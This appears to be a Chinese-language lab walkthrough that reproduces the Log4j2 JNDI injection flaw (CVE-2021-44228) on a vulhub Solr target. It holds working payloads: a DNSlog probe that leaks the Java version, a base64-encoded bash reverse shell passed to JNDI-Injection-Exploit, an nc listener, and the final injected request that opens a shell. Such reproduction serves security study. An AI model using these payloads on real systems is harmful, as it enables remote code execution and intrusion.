漏洞原理
Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。
CVE编号:CVE-2021-44228
搭建vulhub靶场
更新软件源中的所有软件列表
apt-get update
安装https协议及CA证书
apt-get install -y apt-transport-https ca-certificates
安装Docker
apt install docker.io
安装pip3
apt-get install python3-pip
安装Docker-Compose
pip3 install docker-compose
安装vulhub靶场
克隆下载
git clone https://gitee.com/puier/vulhub.git
进入靶场环境目录
cd /root/vulhub/log4j/CVE-2021-44228
对靶场进行编译
docker-compose build
运行此靶场
docker-compose up -d
查看启动环境
docker-compose ps -a
关闭此靶场环境
docker-compose down
漏洞复现
访问http://靶场IP:8983
先在http://www.dnslog.cn/ 申请一个dns域名qdy3ot.dnslog.cn
构造请求/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.qdy3ot.dnslog.cn}
存在JNDI注入那么ldap服务端会执行我们传上去的payload然后在dnslog.cn那里留下记录,我们可以看到留下了访问记录并且前面的参数被执行后给我们回显了java的版本号
反弹shell
开始漏洞利用,首先我们构造反弹shell用到的命令:
bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1
这里我直接用的当前虚拟机的ip,端口号随便输一个,反弹shell需要经过编码,所以我们对上面那段命令base64.
构造payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIxNjguMjAzMTI5LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}” -A“192.168.203.129”
在注入之前另起一个终端,监控刚刚的那个端口,这里是6666
nc -lvvp 6666
发送payload,获取靶机的shell
http://192.168.203.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.203.129:1389/9zkyi5}